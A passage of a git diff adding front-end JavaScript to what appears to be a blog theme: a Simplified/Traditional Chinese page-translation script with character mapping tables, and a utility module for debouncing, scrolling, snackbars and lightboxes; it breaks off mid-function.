pjax + window.addEventListener('pjax:complete', () => { + !btf.isHidden($searchMask) && closeSearch() + localSearch.highlightSearchWords(document.getElementById('article-container')) + searchClickFn() + }) +}) diff --git a/js/tw_cn.js b/js/tw_cn.js new file mode 100644 index 000000000..15d8d1531 --- /dev/null +++ b/js/tw_cn.js @@ -0,0 +1,122 @@ +document.addEventListener('DOMContentLoaded', function () { + const { defaultEncoding, translateDelay, msgToTraditionalChinese, msgToSimplifiedChinese } = GLOBAL_CONFIG.translate + const snackbarData = GLOBAL_CONFIG.Snackbar + let currentEncoding = defaultEncoding + const targetEncodingCookie = 'translate-chn-cht' + let targetEncoding = + saveToLocal.get(targetEncodingCookie) === undefined + ? defaultEncoding + : Number(saveToLocal.get('translate-chn-cht')) + let translateButtonObject + const isSnackbar = snackbarData !== undefined + + function setLang () { + document.documentElement.lang = targetEncoding === 1 ? 'zh-TW' : 'zh-CN' + } + + function translateText (txt) { + if (txt === '' || txt == null) return '' + if (currentEncoding === 1 && targetEncoding === 2) return Simplized(txt) + else if (currentEncoding === 2 && targetEncoding === 1) { + return Traditionalized(txt) + } else return txt + } + + function translateBody (fobj) { + let objs + if (typeof fobj === 'object') objs = fobj.childNodes + else objs = document.body.childNodes + for (let i = 0; i < objs.length; i++) { + const obj = objs.item(i) + if ( + '||BR|HR|'.indexOf('|' + obj.tagName + '|') > 0 || + obj === translateButtonObject + ) { + continue + } + if (obj.title !== '' && obj.title != null) { + obj.title = translateText(obj.title) + } + if (obj.alt !== '' && obj.alt != null) obj.alt = translateText(obj.alt) + if (obj.placeholder !== '' && obj.placeholder != null) { obj.placeholder = translateText(obj.placeholder) } + if ( + obj.tagName === 'INPUT' && + obj.value !== '' && + obj.type !== 'text' && + obj.type !== 'hidden' + ) { + obj.value = translateText(obj.value) + } + if (obj.nodeType === 3) obj.data = translateText(obj.data) + else translateBody(obj) + } + } + function translatePage () { + if (targetEncoding === 1) { + currentEncoding = 1 + targetEncoding = 2 + translateButtonObject.textContent = msgToTraditionalChinese + isSnackbar && btf.snackbarShow(snackbarData.cht_to_chs) + } else if (targetEncoding === 2) { + currentEncoding = 2 + targetEncoding = 1 + translateButtonObject.textContent = msgToSimplifiedChinese + isSnackbar && btf.snackbarShow(snackbarData.chs_to_cht) + } + saveToLocal.set(targetEncodingCookie, targetEncoding, 2) + setLang() + translateBody() + } + + function JTPYStr () { + return '万与丑专业丛东丝丢两严丧个丬丰临为丽举么义乌乐乔习乡书买乱争于亏云亘亚产亩亲亵亸亿仅从仑仓仪们价众优伙会伛伞伟传伤伥伦伧伪伫体余佣佥侠侣侥侦侧侨侩侪侬俣俦俨俩俪俭债倾偬偻偾偿傥傧储傩儿兑兖党兰关兴兹养兽冁内冈册写军农冢冯冲决况冻净凄凉凌减凑凛几凤凫凭凯击凼凿刍划刘则刚创删别刬刭刽刿剀剂剐剑剥剧劝办务劢动励劲劳势勋勐勚匀匦匮区医华协单卖卢卤卧卫却卺厂厅历厉压厌厍厕厢厣厦厨厩厮县参叆叇双发变叙叠叶号叹叽吁后吓吕吗吣吨听启吴呒呓呕呖呗员呙呛呜咏咔咙咛咝咤咴咸哌响哑哒哓哔哕哗哙哜哝哟唛唝唠唡唢唣唤唿啧啬啭啮啰啴啸喷喽喾嗫呵嗳嘘嘤嘱噜噼嚣嚯团园囱围囵国图圆圣圹场坂坏块坚坛坜坝坞坟坠垄垅垆垒垦垧垩垫垭垯垱垲垴埘埙埚埝埯堑堕塆墙壮声壳壶壸处备复够头夸夹夺奁奂奋奖奥妆妇妈妩妪妫姗姜娄娅娆娇娈娱娲娴婳婴婵婶媪嫒嫔嫱嬷孙学孪宁宝实宠审宪宫宽宾寝对寻导寿将尔尘尧尴尸尽层屃屉届属屡屦屿岁岂岖岗岘岙岚岛岭岳岽岿峃峄峡峣峤峥峦崂崃崄崭嵘嵚嵛嵝嵴巅巩巯币帅师帏帐帘帜带帧帮帱帻帼幂幞干并广庄庆庐庑库应庙庞废庼廪开异弃张弥弪弯弹强归当录彟彦彻径徕御忆忏忧忾怀态怂怃怄怅怆怜总怼怿恋恳恶恸恹恺恻恼恽悦悫悬悭悯惊惧惨惩惫惬惭惮惯愍愠愤愦愿慑慭憷懑懒懔戆戋戏戗战戬户扎扑扦执扩扪扫扬扰抚抛抟抠抡抢护报担拟拢拣拥拦拧拨择挂挚挛挜挝挞挟挠挡挢挣挤挥挦捞损捡换捣据捻掳掴掷掸掺掼揸揽揿搀搁搂搅携摄摅摆摇摈摊撄撑撵撷撸撺擞攒敌敛数斋斓斗斩断无旧时旷旸昙昼昽显晋晒晓晔晕晖暂暧札术朴机杀杂权条来杨杩杰极构枞枢枣枥枧枨枪枫枭柜柠柽栀栅标栈栉栊栋栌栎栏树栖样栾桊桠桡桢档桤桥桦桧桨桩梦梼梾检棂椁椟椠椤椭楼榄榇榈榉槚槛槟槠横樯樱橥橱橹橼檐檩欢欤欧歼殁殇残殒殓殚殡殴毁毂毕毙毡毵氇气氢氩氲汇汉污汤汹沓沟没沣沤沥沦沧沨沩沪沵泞泪泶泷泸泺泻泼泽泾洁洒洼浃浅浆浇浈浉浊测浍济浏浐浑浒浓浔浕涂涌涛涝涞涟涠涡涢涣涤润涧涨涩淀渊渌渍渎渐渑渔渖渗温游湾湿溃溅溆溇滗滚滞滟滠满滢滤滥滦滨滩滪漤潆潇潋潍潜潴澜濑濒灏灭灯灵灾灿炀炉炖炜炝点炼炽烁烂烃烛烟烦烧烨烩烫烬热焕焖焘煅煳熘爱爷牍牦牵牺犊犟状犷犸犹狈狍狝狞独狭狮狯狰狱狲猃猎猕猡猪猫猬献獭玑玙玚玛玮环现玱玺珉珏珐珑珰珲琎琏琐琼瑶瑷璇璎瓒瓮瓯电画畅畲畴疖疗疟疠疡疬疮疯疱疴痈痉痒痖痨痪痫痴瘅瘆瘗瘘瘪瘫瘾瘿癞癣癫癯皑皱皲盏盐监盖盗盘眍眦眬着睁睐睑瞒瞩矫矶矾矿砀码砖砗砚砜砺砻砾础硁硅硕硖硗硙硚确硷碍碛碜碱碹磙礼祎祢祯祷祸禀禄禅离秃秆种积称秽秾稆税稣稳穑穷窃窍窑窜窝窥窦窭竖竞笃笋笔笕笺笼笾筑筚筛筜筝筹签简箓箦箧箨箩箪箫篑篓篮篱簖籁籴类籼粜粝粤粪粮糁糇紧絷纟纠纡红纣纤纥约级纨纩纪纫纬纭纮纯纰纱纲纳纴纵纶纷纸纹纺纻纼纽纾线绀绁绂练组绅细织终绉绊绋绌绍绎经绐绑绒结绔绕绖绗绘给绚绛络绝绞统绠绡绢绣绤绥绦继绨绩绪绫绬续绮绯绰绱绲绳维绵绶绷绸绹绺绻综绽绾绿缀缁缂缃缄缅缆缇缈缉缊缋缌缍缎缏缐缑缒缓缔缕编缗缘缙缚缛缜缝缞缟缠缡缢缣缤缥缦缧缨缩缪缫缬缭缮缯缰缱缲缳缴缵罂网罗罚罢罴羁羟羡翘翙翚耢耧耸耻聂聋职聍联聩聪肃肠肤肷肾肿胀胁胆胜胧胨胪胫胶脉脍脏脐脑脓脔脚脱脶脸腊腌腘腭腻腼腽腾膑臜舆舣舰舱舻艰艳艹艺节芈芗芜芦苁苇苈苋苌苍苎苏苘苹茎茏茑茔茕茧荆荐荙荚荛荜荞荟荠荡荣荤荥荦荧荨荩荪荫荬荭荮药莅莜莱莲莳莴莶获莸莹莺莼萚萝萤营萦萧萨葱蒇蒉蒋蒌蓝蓟蓠蓣蓥蓦蔷蔹蔺蔼蕲蕴薮藁藓虏虑虚虫虬虮虽虾虿蚀蚁蚂蚕蚝蚬蛊蛎蛏蛮蛰蛱蛲蛳蛴蜕蜗蜡蝇蝈蝉蝎蝼蝾螀螨蟏衅衔补衬衮袄袅袆袜袭袯装裆裈裢裣裤裥褛褴襁襕见观觃规觅视觇览觉觊觋觌觍觎觏觐觑觞触觯詟誉誊讠计订讣认讥讦讧讨让讪讫训议讯记讱讲讳讴讵讶讷许讹论讻讼讽设访诀证诂诃评诅识诇诈诉诊诋诌词诎诏诐译诒诓诔试诖诗诘诙诚诛诜话诞诟诠诡询诣诤该详诧诨诩诪诫诬语诮误诰诱诲诳说诵诶请诸诹诺读诼诽课诿谀谁谂调谄谅谆谇谈谊谋谌谍谎谏谐谑谒谓谔谕谖谗谘谙谚谛谜谝谞谟谠谡谢谣谤谥谦谧谨谩谪谫谬谭谮谯谰谱谲谳谴谵谶谷豮贝贞负贠贡财责贤败账货质贩贪贫贬购贮贯贰贱贲贳贴贵贶贷贸费贺贻贼贽贾贿赀赁赂赃资赅赆赇赈赉赊赋赌赍赎赏赐赑赒赓赔赕赖赗赘赙赚赛赜赝赞赟赠赡赢赣赪赵赶趋趱趸跃跄跖跞践跶跷跸跹跻踊踌踪踬踯蹑蹒蹰蹿躏躜躯车轧轨轩轪轫转轭轮软轰轱轲轳轴轵轶轷轸轹轺轻轼载轾轿辀辁辂较辄辅辆辇辈辉辊辋辌辍辎辏辐辑辒输辔辕辖辗辘辙辚辞辩辫边辽达迁过迈运还这进远违连迟迩迳迹适选逊递逦逻遗遥邓邝邬邮邹邺邻郁郄郏郐郑郓郦郧郸酝酦酱酽酾酿释里鉅鉴銮錾钆钇针钉钊钋钌钍钎钏钐钑钒钓钔钕钖钗钘钙钚钛钝钞钟钠钡钢钣钤钥钦钧钨钩钪钫钬钭钮钯钰钱钲钳钴钵钶钷钸钹钺钻钼钽钾钿铀铁铂铃铄铅铆铈铉铊铋铍铎铏铐铑铒铕铗铘铙铚铛铜铝铞铟铠铡铢铣铤铥铦铧铨铪铫铬铭铮铯铰铱铲铳铴铵银铷铸铹铺铻铼铽链铿销锁锂锃锄锅锆锇锈锉锊锋锌锍锎锏锐锑锒锓锔锕锖锗错锚锜锞锟锠锡锢锣锤锥锦锨锩锫锬锭键锯锰锱锲锳锴锵锶锷锸锹锺锻锼锽锾锿镀镁镂镃镆镇镈镉镊镌镍镎镏镐镑镒镕镖镗镙镚镛镜镝镞镟镠镡镢镣镤镥镦镧镨镩镪镫镬镭镮镯镰镱镲镳镴镶长门闩闪闫闬闭问闯闰闱闲闳间闵闶闷闸闹闺闻闼闽闾闿阀阁阂阃阄阅阆阇阈阉阊阋阌阍阎阏阐阑阒阓阔阕阖阗阘阙阚阛队阳阴阵阶际陆陇陈陉陕陧陨险随隐隶隽难雏雠雳雾霁霉霭靓静靥鞑鞒鞯鞴韦韧韨韩韪韫韬韵页顶顷顸项顺须顼顽顾顿颀颁颂颃预颅领颇颈颉颊颋颌颍颎颏颐频颒颓颔颕颖颗题颙颚颛颜额颞颟颠颡颢颣颤颥颦颧风飏飐飑飒飓飔飕飖飗飘飙飚飞飨餍饤饥饦饧饨饩饪饫饬饭饮饯饰饱饲饳饴饵饶饷饸饹饺饻饼饽饾饿馀馁馂馃馄馅馆馇馈馉馊馋馌馍馎馏馐馑馒馓馔馕马驭驮驯驰驱驲驳驴驵驶驷驸驹驺驻驼驽驾驿骀骁骂骃骄骅骆骇骈骉骊骋验骍骎骏骐骑骒骓骔骕骖骗骘骙骚骛骜骝骞骟骠骡骢骣骤骥骦骧髅髋髌鬓魇魉鱼鱽鱾鱿鲀鲁鲂鲄鲅鲆鲇鲈鲉鲊鲋鲌鲍鲎鲏鲐鲑鲒鲓鲔鲕鲖鲗鲘鲙鲚鲛鲜鲝鲞鲟鲠鲡鲢鲣鲤鲥鲦鲧鲨鲩鲪鲫鲬鲭鲮鲯鲰鲱鲲鲳鲴鲵鲶鲷鲸鲹鲺鲻鲼鲽鲾鲿鳀鳁鳂鳃鳄鳅鳆鳇鳈鳉鳊鳋鳌鳍鳎鳏鳐鳑鳒鳓鳔鳕鳖鳗鳘鳙鳛鳜鳝鳞鳟鳠鳡鳢鳣鸟鸠鸡鸢鸣鸤鸥鸦鸧鸨鸩鸪鸫鸬鸭鸮鸯鸰鸱鸲鸳鸴鸵鸶鸷鸸鸹鸺鸻鸼鸽鸾鸿鹀鹁鹂鹃鹄鹅鹆鹇鹈鹉鹊鹋鹌鹍鹎鹏鹐鹑鹒鹓鹔鹕鹖鹗鹘鹚鹛鹜鹝鹞鹟鹠鹡鹢鹣鹤鹥鹦鹧鹨鹩鹪鹫鹬鹭鹯鹰鹱鹲鹳鹴鹾麦麸黄黉黡黩黪黾龙历志制一台皋准复猛钟注范签' + } + function FTPYStr () { + return '萬與醜專業叢東絲丟兩嚴喪個爿豐臨為麗舉麼義烏樂喬習鄉書買亂爭於虧雲亙亞產畝親褻嚲億僅從侖倉儀們價眾優夥會傴傘偉傳傷倀倫傖偽佇體餘傭僉俠侶僥偵側僑儈儕儂俁儔儼倆儷儉債傾傯僂僨償儻儐儲儺兒兌兗黨蘭關興茲養獸囅內岡冊寫軍農塚馮衝決況凍淨淒涼淩減湊凜幾鳳鳧憑凱擊氹鑿芻劃劉則剛創刪別剗剄劊劌剴劑剮劍剝劇勸辦務勱動勵勁勞勢勳猛勩勻匭匱區醫華協單賣盧鹵臥衛卻巹廠廳曆厲壓厭厙廁廂厴廈廚廄廝縣參靉靆雙發變敘疊葉號歎嘰籲後嚇呂嗎唚噸聽啟吳嘸囈嘔嚦唄員咼嗆嗚詠哢嚨嚀噝吒噅鹹呱響啞噠嘵嗶噦嘩噲嚌噥喲嘜嗊嘮啢嗩唕喚呼嘖嗇囀齧囉嘽嘯噴嘍嚳囁嗬噯噓嚶囑嚕劈囂謔團園囪圍圇國圖圓聖壙場阪壞塊堅壇壢壩塢墳墜壟壟壚壘墾坰堊墊埡墶壋塏堖塒塤堝墊垵塹墮壪牆壯聲殼壺壼處備複夠頭誇夾奪奩奐奮獎奧妝婦媽嫵嫗媯姍薑婁婭嬈嬌孌娛媧嫻嫿嬰嬋嬸媼嬡嬪嬙嬤孫學孿寧寶實寵審憲宮寬賓寢對尋導壽將爾塵堯尷屍盡層屭屜屆屬屢屨嶼歲豈嶇崗峴嶴嵐島嶺嶽崠巋嶨嶧峽嶢嶠崢巒嶗崍嶮嶄嶸嶔崳嶁脊巔鞏巰幣帥師幃帳簾幟帶幀幫幬幘幗冪襆幹並廣莊慶廬廡庫應廟龐廢廎廩開異棄張彌弳彎彈強歸當錄彠彥徹徑徠禦憶懺憂愾懷態慫憮慪悵愴憐總懟懌戀懇惡慟懨愷惻惱惲悅愨懸慳憫驚懼慘懲憊愜慚憚慣湣慍憤憒願懾憖怵懣懶懍戇戔戲戧戰戩戶紮撲扡執擴捫掃揚擾撫拋摶摳掄搶護報擔擬攏揀擁攔擰撥擇掛摯攣掗撾撻挾撓擋撟掙擠揮撏撈損撿換搗據撚擄摑擲撣摻摜摣攬撳攙擱摟攪攜攝攄擺搖擯攤攖撐攆擷擼攛擻攢敵斂數齋斕鬥斬斷無舊時曠暘曇晝曨顯晉曬曉曄暈暉暫曖劄術樸機殺雜權條來楊榪傑極構樅樞棗櫪梘棖槍楓梟櫃檸檉梔柵標棧櫛櫳棟櫨櫟欄樹棲樣欒棬椏橈楨檔榿橋樺檜槳樁夢檮棶檢欞槨櫝槧欏橢樓欖櫬櫚櫸檟檻檳櫧橫檣櫻櫫櫥櫓櫞簷檁歡歟歐殲歿殤殘殞殮殫殯毆毀轂畢斃氈毿氌氣氫氬氳彙漢汙湯洶遝溝沒灃漚瀝淪滄渢溈滬濔濘淚澩瀧瀘濼瀉潑澤涇潔灑窪浹淺漿澆湞溮濁測澮濟瀏滻渾滸濃潯濜塗湧濤澇淶漣潿渦溳渙滌潤澗漲澀澱淵淥漬瀆漸澠漁瀋滲溫遊灣濕潰濺漵漊潷滾滯灩灄滿瀅濾濫灤濱灘澦濫瀠瀟瀲濰潛瀦瀾瀨瀕灝滅燈靈災燦煬爐燉煒熗點煉熾爍爛烴燭煙煩燒燁燴燙燼熱煥燜燾煆糊溜愛爺牘犛牽犧犢強狀獷獁猶狽麅獮獰獨狹獅獪猙獄猻獫獵獼玀豬貓蝟獻獺璣璵瑒瑪瑋環現瑲璽瑉玨琺瓏璫琿璡璉瑣瓊瑤璦璿瓔瓚甕甌電畫暢佘疇癤療瘧癘瘍鬁瘡瘋皰屙癰痙癢瘂癆瘓癇癡癉瘮瘞瘺癟癱癮癭癩癬癲臒皚皺皸盞鹽監蓋盜盤瞘眥矓著睜睞瞼瞞矚矯磯礬礦碭碼磚硨硯碸礪礱礫礎硜矽碩硤磽磑礄確鹼礙磧磣堿镟滾禮禕禰禎禱禍稟祿禪離禿稈種積稱穢穠穭稅穌穩穡窮竊竅窯竄窩窺竇窶豎競篤筍筆筧箋籠籩築篳篩簹箏籌簽簡籙簀篋籜籮簞簫簣簍籃籬籪籟糴類秈糶糲粵糞糧糝餱緊縶糸糾紆紅紂纖紇約級紈纊紀紉緯紜紘純紕紗綱納紝縱綸紛紙紋紡紵紖紐紓線紺絏紱練組紳細織終縐絆紼絀紹繹經紿綁絨結絝繞絰絎繪給絢絳絡絕絞統綆綃絹繡綌綏絛繼綈績緒綾緓續綺緋綽緔緄繩維綿綬繃綢綯綹綣綜綻綰綠綴緇緙緗緘緬纜緹緲緝縕繢緦綞緞緶線緱縋緩締縷編緡緣縉縛縟縝縫縗縞纏縭縊縑繽縹縵縲纓縮繆繅纈繚繕繒韁繾繰繯繳纘罌網羅罰罷羆羈羥羨翹翽翬耮耬聳恥聶聾職聹聯聵聰肅腸膚膁腎腫脹脅膽勝朧腖臚脛膠脈膾髒臍腦膿臠腳脫腡臉臘醃膕齶膩靦膃騰臏臢輿艤艦艙艫艱豔艸藝節羋薌蕪蘆蓯葦藶莧萇蒼苧蘇檾蘋莖蘢蔦塋煢繭荊薦薘莢蕘蓽蕎薈薺蕩榮葷滎犖熒蕁藎蓀蔭蕒葒葤藥蒞蓧萊蓮蒔萵薟獲蕕瑩鶯蓴蘀蘿螢營縈蕭薩蔥蕆蕢蔣蔞藍薊蘺蕷鎣驀薔蘞藺藹蘄蘊藪槁蘚虜慮虛蟲虯蟣雖蝦蠆蝕蟻螞蠶蠔蜆蠱蠣蟶蠻蟄蛺蟯螄蠐蛻蝸蠟蠅蟈蟬蠍螻蠑螿蟎蠨釁銜補襯袞襖嫋褘襪襲襏裝襠褌褳襝褲襇褸襤繈襴見觀覎規覓視覘覽覺覬覡覿覥覦覯覲覷觴觸觶讋譽謄訁計訂訃認譏訐訌討讓訕訖訓議訊記訒講諱謳詎訝訥許訛論訩訟諷設訪訣證詁訶評詛識詗詐訴診詆謅詞詘詔詖譯詒誆誄試詿詩詰詼誠誅詵話誕詬詮詭詢詣諍該詳詫諢詡譸誡誣語誚誤誥誘誨誑說誦誒請諸諏諾讀諑誹課諉諛誰諗調諂諒諄誶談誼謀諶諜謊諫諧謔謁謂諤諭諼讒諮諳諺諦謎諞諝謨讜謖謝謠謗諡謙謐謹謾謫譾謬譚譖譙讕譜譎讞譴譫讖穀豶貝貞負貟貢財責賢敗賬貨質販貪貧貶購貯貫貳賤賁貰貼貴貺貸貿費賀貽賊贄賈賄貲賃賂贓資賅贐賕賑賚賒賦賭齎贖賞賜贔賙賡賠賧賴賵贅賻賺賽賾贗讚贇贈贍贏贛赬趙趕趨趲躉躍蹌蹠躒踐躂蹺蹕躚躋踴躊蹤躓躑躡蹣躕躥躪躦軀車軋軌軒軑軔轉軛輪軟轟軲軻轤軸軹軼軤軫轢軺輕軾載輊轎輈輇輅較輒輔輛輦輩輝輥輞輬輟輜輳輻輯轀輸轡轅轄輾轆轍轔辭辯辮邊遼達遷過邁運還這進遠違連遲邇逕跡適選遜遞邐邏遺遙鄧鄺鄔郵鄒鄴鄰鬱郤郟鄶鄭鄆酈鄖鄲醞醱醬釅釃釀釋裏钜鑒鑾鏨釓釔針釘釗釙釕釷釺釧釤鈒釩釣鍆釹鍚釵鈃鈣鈈鈦鈍鈔鍾鈉鋇鋼鈑鈐鑰欽鈞鎢鉤鈧鈁鈥鈄鈕鈀鈺錢鉦鉗鈷缽鈳鉕鈽鈸鉞鑽鉬鉭鉀鈿鈾鐵鉑鈴鑠鉛鉚鈰鉉鉈鉍鈹鐸鉶銬銠鉺銪鋏鋣鐃銍鐺銅鋁銱銦鎧鍘銖銑鋌銩銛鏵銓鉿銚鉻銘錚銫鉸銥鏟銃鐋銨銀銣鑄鐒鋪鋙錸鋱鏈鏗銷鎖鋰鋥鋤鍋鋯鋨鏽銼鋝鋒鋅鋶鐦鐧銳銻鋃鋟鋦錒錆鍺錯錨錡錁錕錩錫錮鑼錘錐錦鍁錈錇錟錠鍵鋸錳錙鍥鍈鍇鏘鍶鍔鍤鍬鍾鍛鎪鍠鍰鎄鍍鎂鏤鎡鏌鎮鎛鎘鑷鐫鎳鎿鎦鎬鎊鎰鎔鏢鏜鏍鏰鏞鏡鏑鏃鏇鏐鐔钁鐐鏷鑥鐓鑭鐠鑹鏹鐙鑊鐳鐶鐲鐮鐿鑔鑣鑞鑲長門閂閃閆閈閉問闖閏闈閑閎間閔閌悶閘鬧閨聞闥閩閭闓閥閣閡閫鬮閱閬闍閾閹閶鬩閿閽閻閼闡闌闃闠闊闋闔闐闒闕闞闤隊陽陰陣階際陸隴陳陘陝隉隕險隨隱隸雋難雛讎靂霧霽黴靄靚靜靨韃鞽韉韝韋韌韍韓韙韞韜韻頁頂頃頇項順須頊頑顧頓頎頒頌頏預顱領頗頸頡頰頲頜潁熲頦頤頻頮頹頷頴穎顆題顒顎顓顏額顳顢顛顙顥纇顫顬顰顴風颺颭颮颯颶颸颼颻飀飄飆飆飛饗饜飣饑飥餳飩餼飪飫飭飯飲餞飾飽飼飿飴餌饒餉餄餎餃餏餅餑餖餓餘餒餕餜餛餡館餷饋餶餿饞饁饃餺餾饈饉饅饊饌饢馬馭馱馴馳驅馹駁驢駔駛駟駙駒騶駐駝駑駕驛駘驍罵駰驕驊駱駭駢驫驪騁驗騂駸駿騏騎騍騅騌驌驂騙騭騤騷騖驁騮騫騸驃騾驄驏驟驥驦驤髏髖髕鬢魘魎魚魛魢魷魨魯魴魺鮁鮃鯰鱸鮋鮓鮒鮊鮑鱟鮍鮐鮭鮚鮳鮪鮞鮦鰂鮜鱠鱭鮫鮮鮺鯗鱘鯁鱺鰱鰹鯉鰣鰷鯀鯊鯇鮶鯽鯒鯖鯪鯕鯫鯡鯤鯧鯝鯢鯰鯛鯨鯵鯴鯔鱝鰈鰏鱨鯷鰮鰃鰓鱷鰍鰒鰉鰁鱂鯿鰠鼇鰭鰨鰥鰩鰟鰜鰳鰾鱈鱉鰻鰵鱅鰼鱖鱔鱗鱒鱯鱤鱧鱣鳥鳩雞鳶鳴鳲鷗鴉鶬鴇鴆鴣鶇鸕鴨鴞鴦鴒鴟鴝鴛鴬鴕鷥鷙鴯鴰鵂鴴鵃鴿鸞鴻鵐鵓鸝鵑鵠鵝鵒鷳鵜鵡鵲鶓鵪鶤鵯鵬鵮鶉鶊鵷鷫鶘鶡鶚鶻鶿鶥鶩鷊鷂鶲鶹鶺鷁鶼鶴鷖鸚鷓鷚鷯鷦鷲鷸鷺鸇鷹鸌鸏鸛鸘鹺麥麩黃黌黶黷黲黽龍歷誌製壹臺臯準復勐鐘註範籤' + } + function Traditionalized (cc) { + let str = '' + const ss = JTPYStr() + const tt = FTPYStr() + for (let i = 0; i < cc.length; i++) { + if (cc.charCodeAt(i) > 10000 && ss.indexOf(cc.charAt(i)) !== -1) { + str += tt.charAt(ss.indexOf(cc.charAt(i))) + } else str += cc.charAt(i) + } + return str + } + function Simplized (cc) { + let str = '' + const ss = JTPYStr() + const tt = FTPYStr() + for (let i = 0; i < cc.length; i++) { + if (cc.charCodeAt(i) > 10000 && tt.indexOf(cc.charAt(i)) !== -1) { + str += ss.charAt(tt.indexOf(cc.charAt(i))) + } else str += cc.charAt(i) + } + return str + } + + function translateInitialization () { + translateButtonObject = document.getElementById('translateLink') + if (translateButtonObject) { + if (currentEncoding !== targetEncoding) { + translateButtonObject.textContent = + targetEncoding === 1 + ? msgToSimplifiedChinese + : msgToTraditionalChinese + setLang() + setTimeout(translateBody, translateDelay) + } + } + } + + window.translateFn = { + translatePage, + Traditionalized, + Simplized + } + + translateInitialization() + document.addEventListener('pjax:complete', translateInitialization) +}) diff --git a/js/utils.js b/js/utils.js new file mode 100644 index 000000000..2c8242ca0 --- /dev/null +++ b/js/utils.js @@ -0,0 +1,296 @@ +const btf = { + debounce: (func, wait = 0, immediate = false) => { + let timeout + return (...args) => { + const later = () => { + timeout = null + if (!immediate) func(...args) + } + const callNow = immediate && !timeout + clearTimeout(timeout) + timeout = setTimeout(later, wait) + if (callNow) func(...args) + } + }, + + throttle: function (func, wait, options = {}) { + let timeout, context, args + let previous = 0 + + const later = () => { + previous = options.leading === false ? 0 : new Date().getTime() + timeout = null + func.apply(context, args) + if (!timeout) context = args = null + } + + const throttled = (...params) => { + const now = new Date().getTime() + if (!previous && options.leading === false) previous = now + const remaining = wait - (now - previous) + context = this + args = params + if (remaining <= 0 || remaining > wait) { + if (timeout) { + clearTimeout(timeout) + timeout = null + } + previous = now + func.apply(context, args) + if (!timeout) context = args = null + } else if (!timeout && options.trailing !== false) { + timeout = setTimeout(later, remaining) + } + } + + return throttled + }, + + sidebarPaddingR: () => { + const innerWidth = window.innerWidth + const clientWidth = document.body.clientWidth + const paddingRight = innerWidth - clientWidth + if (innerWidth !== clientWidth) { + document.body.style.paddingRight = paddingRight + 'px' + } + }, + + snackbarShow: (text, showAction = false, duration = 2000) => { + const { position, bgLight, bgDark } = GLOBAL_CONFIG.Snackbar + const bg = document.documentElement.getAttribute('data-theme') === 'light' ? bgLight : bgDark + Snackbar.show({ + text, + backgroundColor: bg, + showAction, + duration, + pos: position, + customClass: 'snackbar-css' + }) + }, + + diffDate: (d, more = false) => { + const dateNow = new Date() + const datePost = new Date(d) + const dateDiff = dateNow.getTime() - datePost.getTime() + const minute = 1000 * 60 + const hour = minute * 60 + const day = hour * 24 + const month = day * 30 + const { dateSuffix } = GLOBAL_CONFIG + + if (!more) return parseInt(dateDiff / day) + + const monthCount = dateDiff / month + const dayCount = dateDiff / day + const hourCount = dateDiff / hour + const minuteCount = dateDiff / minute + + if (monthCount > 12) return datePost.toISOString().slice(0, 10) + if (monthCount >= 1) return `${parseInt(monthCount)} ${dateSuffix.month}` + if (dayCount >= 1) return `${parseInt(dayCount)} ${dateSuffix.day}` + if (hourCount >= 1) return `${parseInt(hourCount)} ${dateSuffix.hour}` + if (minuteCount >= 1) return `${parseInt(minuteCount)} ${dateSuffix.min}` + return dateSuffix.just + }, + + loadComment: (dom, callback) => { + if ('IntersectionObserver' in window) { + const observerItem = new IntersectionObserver((entries) => { + if (entries[0].isIntersecting) { + callback() + observerItem.disconnect() + } + }, { threshold: [0] }) + observerItem.observe(dom) + } else { + callback() + } + }, + + scrollToDest: (pos, time = 500) => { + const currentPos = window.pageYOffset + const isNavFixed = document.getElementById('page-header').classList.contains('fixed') + if (currentPos > pos || isNavFixed) pos = pos - 70 + + if ('scrollBehavior' in document.documentElement.style) { + window.scrollTo({ + top: pos, + behavior: 'smooth' + }) + return + } + + let start = null + pos = +pos + window.requestAnimationFrame(function step (currentTime) { + start = !start ? currentTime : start + const progress = currentTime - start + if (currentPos < pos) { + window.scrollTo(0, ((pos - currentPos) * progress / time) + currentPos) + } else { + window.scrollTo(0, currentPos - ((currentPos - pos) * progress / time)) + } + if (progress < time) { + window.requestAnimationFrame(step) + } else { + window.scrollTo(0, pos) + } + }) + }, + + animateIn: (ele, text) => { + ele.style.display = 'block' + ele.style.animation = text + }, + + animateOut: (ele, text) => { + ele.addEventListener('animationend', function f () { + ele.style.display = '' + ele.style.animation = '' + ele.removeEventListener('animationend', f) + }) + ele.style.animation = text + }, + + wrap: (selector, eleType, options) => { + const createEle = document.createElement(eleType) + for (const [key, value] of Object.entries(options)) { + createEle.setAttribute(key, value) + } + selector.parentNode.insertBefore(createEle, selector) + createEle.appendChild(selector) + }, + + isHidden: ele => ele.offsetHeight === 0 && ele.offsetWidth === 0, + + getEleTop: ele => { + let actualTop = ele.offsetTop + let current = ele.offsetParent + + while (current !== null) { + actualTop += current.offsetTop + current = current.offsetParent + } + + return actualTop + }, + + loadLightbox: ele => { + const service = GLOBAL_CONFIG.lightbox + + if (service === 'mediumZoom') { + mediumZoom(ele, { background: 'var(--zoom-bg)' }) + } + + if (service === 'fancybox') { + Array.from(ele).forEach(i => { + if (i.parentNode.tagName !== 'A') { + const dataSrc = i.dataset.lazySrc || i.src + const dataCaption = i.title || i.alt || '' + btf.wrap(i, 'a', { href: dataSrc, 'data-fancybox': 'gallery', 'data-caption': dataCaption, 'data-thumb': dataSrc }) + } + }) + + if (!window.fancyboxRun) { + Fancybox.bind('[data-fancybox]', { + Hash: false, + Thumbs: { + showOnStart: false + }, + Images: { + Panzoom: { + maxScale: 4 + } + }, + Carousel: { + transition: 'slide' + }, + Toolbar: { + display: { + left: ['infobar'], + middle: [ + 'zoomIn', + 'zoomOut', + 'toggle1to1', + 'rotateCCW', + 'rotateCW', + 'flipX', + 'flipY' + ], + right: ['slideshow', 'thumbs', 'close'] + } + } + }) + window.fancyboxRun = true + } + } + }, + + setLoading: { + add: ele => { + const html = ` +
    +
    +
    +
    +
    + ` + ele.insertAdjacentHTML('afterend', html) + }, + remove: ele => { + ele.nextElementSibling.remove() + } + }, + + updateAnchor: (anchor) => { + if (anchor !== window.location.hash) { + if (!anchor) anchor = location.pathname + const title = GLOBAL_CONFIG_SITE.title + window.history.replaceState({ + url: location.href, + title + }, title, anchor) + } + }, + + getScrollPercent: (currentTop, ele) => { + const docHeight = ele.clientHeight + const winHeight = document.documentElement.clientHeight + const headerHeight = ele.offsetTop + const contentMath = (docHeight > winHeight) ? (docHeight - winHeight) : (document.documentElement.scrollHeight - winHeight) + const scrollPercent = (currentTop - headerHeight) / (contentMath) + const scrollPercentRounded = 